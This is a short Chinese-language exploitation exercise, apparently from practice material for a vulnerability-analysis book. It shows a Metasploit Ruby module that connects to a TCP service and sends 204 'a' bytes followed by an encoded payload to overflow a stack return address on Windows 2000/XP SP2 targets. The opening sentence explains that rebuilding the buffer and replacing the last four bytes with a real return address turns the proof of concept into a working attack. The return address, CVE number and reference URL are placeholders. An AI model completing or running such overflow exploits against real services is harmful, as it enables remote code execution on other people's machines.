poc代码如下,如果将下面代码改为exploit可将buf进行组合,同时修改最后4个字节的返回地址即可实现攻击的目的。
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'JYH Socket Overflow testing',
'Description' => %q{
this module is exploit practice
"Vulnerability Exploit and Analysis Technique"
},
'Author' => 'JYH',
'License' => MSF_LICENSE,
'Version' => '1.0',
'References' =>
[
[ 'CVE', '95555'],
[ 'URL', 'http://hello.html'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 200,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Targets' => [
['Windows 2000', {'Ret' => [200 , 0x61616161] }],
['Windows XP SP2',{'Ret' => [200 , 0x61616161] }],
],
'DefaultOptions' => { 'EXITFUNC' => 'process' }
))
end
#上面初始化一些信息
def exploit
#connetc连接服务器socket
connect
print_status("Trying to attack target...")
#构造buf a*204意思是204个a,payload.encoded弹出配置窗口
buf = 'a'*204 + payload.encoded
#发送数据造成后4个字节a淹没返回地址造成溢出
socket.put(buf)
#处理完毕,断开连接
handler
disconnect
end
end